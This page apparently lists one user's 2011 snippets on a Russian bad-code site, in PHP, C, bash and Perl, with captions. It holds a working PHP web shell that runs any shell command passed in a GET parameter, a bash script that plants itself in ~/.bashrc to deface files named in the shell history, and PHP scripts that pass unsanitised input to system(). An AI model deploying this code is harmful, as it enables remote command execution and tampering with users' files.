1. Список говнокодов пользователя AliceGoth

    Всего: 58

  2. PHP / Говнокод #6424

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    <?php
if(isset($_GET)){
    $_com=$_GET['_com'];
    ob_start();
        passthru($_com." 2>&1");
    $content_grabbed=ob_get_contents();
    ob_end_clean();
    echo '<div>',$content_grabbed,'</div>';
};

?>

<form name=sys_form method=GET action="">
# <input type="text" name="_com" value="ls"><br>
<input type="submit">
</form>

    Выполняет команды шела.

    AliceGoth, 20 Апреля 2011

    Комментарии (1)

  3. Си / Говнокод #6361

    +132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    int cont[15];
bool stop_access = false;
struct cel container[MAX_SIZE];
struct termios savetty;
struct termios tty;
pthread_t thread[100];
pthread_mutexattr_t muattr; 
pthread_mutex_t count_mutex; 
int icn=0;//Number elements in container
static int x;
static int y;
void* stack;
  pthread_mutex_unlock(&count_mutex); 
  sleep(1);
};
return (void*)1;
};

void* main_thread(void *arg){
   while(true){
   sleep(1);
  char ic=getchar();
    if(ic=='\n'){
      printf("Thread\tnumber elements\n");
      for(int i=0;i<=x;i++)
      pthread_cancel(thread[i]);
      for(int i=0;i<=x;i++){
	printf("%d ",i);
	int cn=0;
	for(int j=0;j<=icn;j++){
	  if(container[j].thrnm==i){ cn++; };
	  };
	  printf("\t%d\n",cn);
	};
	printf("container number element %d\n",icn);
	exit(0);
      };
 };
  
};

int main(int argc, char * argv[])
{
  icn=0;
  
if(argc<2){printf("1 arg n number of threads, 2 argument maximum number element in container");exit(0);};
x=atoi(argv[1]);
y=atoi(argv[2]);
if(x>64){printf("Число потоков должно быть меньше 64\n");exit(0);}
printf("x %d y %d\n",x,y);
//mutex initialization
int ret;
ret = pthread_mutexattr_init(&muattr);

  //switch the keyboard to noncanonical mode
pid_t pt=tcgetsid(0);
 // char *var=ctermid (NULL);
  printf("pid %d\n",pt);
tcgetattr (0, &tty);
savetty = tty;
tty.c_lflag &= ~(ICANON);
tty.c_cc[VMIN] = 1;
tcsetattr (0, TCSAFLUSH, &tty);
pthread_t mthr;
 pthread_attr_t mattr;
  pthread_attr_init(&mattr);
  pthread_attr_setdetachstate(&mattr,PTHREAD_CREATE_DETACHED);
int mres = pthread_create(&mthr, &mattr, main_thread, NULL);
  if (mres == 0) {
    printf("Creating main thread\n");
    sleep(0.7);
  } else {
    perror("Creating the main first thread");
  return EXIT_FAILURE;
  }
  
  
for(int i=0;i<=x;i++){
  int id1, id2, result;
  id1 = 1;
  pthread_attr_t attr;
  pthread_attr_init(&attr);
  // отсоединенный поток - не ждем его возврата
  pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED);
  result = pthread_create(&thread[i], &attr, thread_func, &i);
  if (result == 0) {
    printf("Creating thread %d\n",i);
    sleep(1);
  } else {
    perror("Creating the first thread");

    AliceGoth, 14 Апреля 2011

    Комментарии (5)

  4. bash / Говнокод #6313

    −130

    1. 1
    echo "Ghbdtn? rfr ltkf&" | sed "s/.*/\L&/;y|f,dult~;pbqrkvyjghcnea[wxioms]'.z&?|абвгдеёжзийклмнопрстуфхцчшщьыъэюя?,|"

    Транслирует английскую раскладку в русскую.

    AliceGoth, 12 Апреля 2011

    Комментарии (5)

  5. PHP / Говнокод #6295

    +160

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    <?php
session_start();
if(isset($_GET['gc'])){
$s="";
$s = rand(0,10).rand(0,10).rand(0,10).rand(0,10).rand(0,10).rand(0,10);
$ct=mktime();
$_SESSION['tm']=$ct;
echo "<a href=\"http://netelis.hmsite.net/cg.php?cn=$s\">http://localhost/cg.php?cn=$s</a>";
  $_SESSION['ccc']=$s;
} elseif(isset($_GET['cn']) && isset($_SESSION['tm'])){
  $tt=mktime();
  $dt=$tt-$_SESSION['tm'];
  if($dt<=25){
  if(isset($_SESSION['ccc'])){echo "<p align=center><FORM name=cp method=POST action=\"\"><br>"; echo $_SESSION['ccc']."<br>";echo "Enter the text you see<br>";}
  echo "<input name=cpt type=text>";
  echo "<input name=sub type=submit>";
  echo "</FORM></p>";} else {echo "The link was broken";};
};
if(isset($_POST['cpt'])){
if(isset($_SESSION['ccc'])){
if($_SESSION['ccc']==$_POST['cpt']){
echo "Captcha is valid";

};
session_destroy();
};

};
?>

    Проверочный код

    AliceGoth, 09 Апреля 2011

    Комментарии (5)

  6. bash / Говнокод #6204

    −137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    #!/bin/bash

num=30
while : 
do
lns=`aureport -f -i --summary | wc -l`
aureport -f -i --summary | wc -l
if [ $num -gt $lns ]
then
  num=0
fi
aureport -f -i --summary | head -n$num | tail -n30 | ./mkbar files
let "num=num+30"
echo $num
  sleep 1s
done

    Выводит аудит файлов в виде диаграммы по 30 файлов за раз.

    AliceGoth, 03 Апреля 2011

    Комментарии (0)

  7. bash / Говнокод #6106

    −137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    #!/bin/bash

echo Fuck >> $1
x=`tail -n1 ~/.bashrc`
if [ "$x" = "$0 &" ]
then
echo exit
else 
echo "trap 'echo \"Fuck $USER\">>`cat ~/.bash_history | tail -n1 | gawk '{ print $1 }'`' DEBUG;" >> ~/.bashrc;
echo "$0 `cat ~/.bash_history|tail -n1 | gawk '{ print $1 }'` &" >> ~/.bashrc
fi
trap "cdm=`cat ~/.bash_history| tail -n1 | gawk '{ print $1 }'`" DEBUG
echo cdm $cdm
while :
do
echo -n
done

    Прога должна присоединять к файлам в истории свой текст.

    AliceGoth, 28 Марта 2011

    Комментарии (3)

  8. PHP / Говнокод #6087

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    <?php
$z=0;
$ti=0;
$ti2=0;

$res=array();
$txt="";
$res=array();
if($argc<2)exit(0);
$fn=$argv[1];
$pt='/(^|\b|\s)((\w|[а-я]|\d)+(?:\.|\,)?)(\b|\.|,|-)/i';
if(isset($fn)){
$fc=file($fn);
foreach($fc as $nl=>$str){
preg_match_all($pt,$str,$res,PREG_PATTERN_ORDER);
foreach($res[0] as $key=>$per){
 # $per=trim($per);
$sz=iconv_strlen($per);
$tz=iconv_strlen($per);
echo "Per $per key $key sz $sz\n";

while($sz>=2){ 
 $eb = substr($per,0,$sz-1);
echo "eb $eb\n";
$res=system("cat -b dict.txt | grep ' ".$eb." ' | head -n1 | gawk '{ print $1 }'");
#echo "$res\n";
if($res!=""){
echo "res $res\n";
$oc=substr($per,$sz-1,$tz); 
$fd=fopen("$argv[1].txt","a");
if($fd<0){echo "fopen";exit(0);};
  fseek($fd,SEEK_END,0);
fwrite($fd,"$res$oc ");

fclose($fd);
$sz=1;
sleep(3);
};
  $sz--;
};
if($sz==1){

$fd=fopen("$argv[1].txt","a");
if($fd<0){echo "fopen";exit(0);};
  fseek($fd,SEEK_END,0);
  fwrite($fd,"$per ");
  fclose($fd);
};

};
};
$str="";
$res="";
}
?>

    Замена слова кодом из словаря, по номеру слова в словаре.

    AliceGoth, 25 Марта 2011

    Комментарии (7)

  9. PHP / Говнокод #6071

    +157

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    <?php
$str=$argv[1];
$sz=sizeof($str);
$c=1;
while($c){
for($i=0;$i<=10;$i++){
$str = strtolower($str);
$per = str_shuffle($str);
#echo "$per\n";
$res=system("egrep ' ".$per." ' ./dict.txt | gawk '{ print $1 }'");
if($res!="" && $sz=sizeof($res)){echo "Success $res\n";};
};
};
?>

    Поиск слов в словаре

    AliceGoth, 23 Марта 2011

    Комментарии (2)

  10. bash / Говнокод #6070

    −126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    #!/bin/bash

sed -e 's/й/y/g' -i $1
sed -e 's/ц/c/g' -i $1
sed -e 's/у/u/g' -i $1
sed -e 's/к/k/g' -i $1
sed -e 's/е/e/g' -i $1
sed -e 's/н/n/g' -i $1
sed -e 's/г/g/g' -i $1
sed -e 's/ш/sh/g' -i $1
sed -e 's/щ/sch/g' -i $1
sed -e 's/з/z/g' -i $1
sed -e 's/х/h/g' -i $1
sed -e 's/ф/f/g' -i $1
sed -e 's/ы/i/g' -i $1
sed -e 's/в/v/g' -i $1
sed -e 's/а/a/g' -i $1
sed -e 's/п/p/g' -i $1
sed -e 's/р/r/g' -i $1
sed -e 's/о/o/g' -i $1
sed -e 's/л/l/g' -i $1
sed -e 's/д/d/g' -i $1
sed -e 's/ж/j/g' -i $1
sed -e 's/э/e/g' -i $1
sed -e 's/я/ya/g' -i $1
sed -e 's/ч/ch/g' -i $1
sed -e 's/с/s/g' -i $1
sed -e 's/м/m/g' -i $1
sed -e 's/и/i/g' -i $1
sed -e 's/т/t/g' -i $1
sed -e 's/б/b/g' -i $1
sed -e 's/ю/yu/g' -i $1

    Перевод в английские буквы

    AliceGoth, 23 Марта 2011

    Комментарии (12)

  11. Perl / Говнокод #6045

    −126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    #!/usr/bin/perl

@zips = ();
while(<>){
@zips = m{([a-z]5[a-z])}igx;
for(my $j=0;$j<=$#zips;$j++){
$i = index($_,$zips[$j]);
print "$zips[$j] pos $i\n";
};
print "$zips\n";

}

    Находит комбинацию буква 5 буква

    AliceGoth, 20 Марта 2011

    Комментарии (2)